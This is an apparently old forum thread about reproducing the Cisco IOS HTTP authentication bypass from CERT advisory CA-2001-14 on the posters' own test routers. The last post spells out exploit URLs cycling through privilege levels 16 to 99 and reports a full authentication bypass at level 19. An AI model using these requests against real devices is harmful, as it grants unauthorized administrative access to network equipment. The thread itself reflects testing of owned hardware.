HTTP vulnerability

[Guest_imported]

Has anyone managed to get this to work ?

http://www.cert.org/advisories/CA-2001-14.html

I've been banging away at our test 2610 today but can't get in..

 

[soupnazi]

yep, it works for me... take out the last space after the .html and it should work fine. Try the following link:

http://www.cert.org/advisories/CA-2001-14.html

Good luck!
-soupnazi-
"No soup for you!"

 

[Challenger]

Hi again, i've registered now, I meant being able to get into the cisco router via the vulnerability, not the site listed ! Sorry about that !!

 

[mildmanrd]

Hi,

I've just read the vulnerability and tried it on my 2501 running IOS 11.3(11a) with success. Just follow the steps as described and it will work.

open up a browser and type:

http://address/level/xx/exec/

ex.

http://10.2.1.1/level/16/exec/

http://10.2.1.1/level/17/exec/

http://10.2.1.1/level/18/exec/

http://10.2.1.1/level/19/exec/

.
.

http://10.2.1.1/level/99/exec/

Just keep plugging in values between 16 and 99 until viola!
Mine broke at 19. It totally bypasses authentication and goes right to the command menu.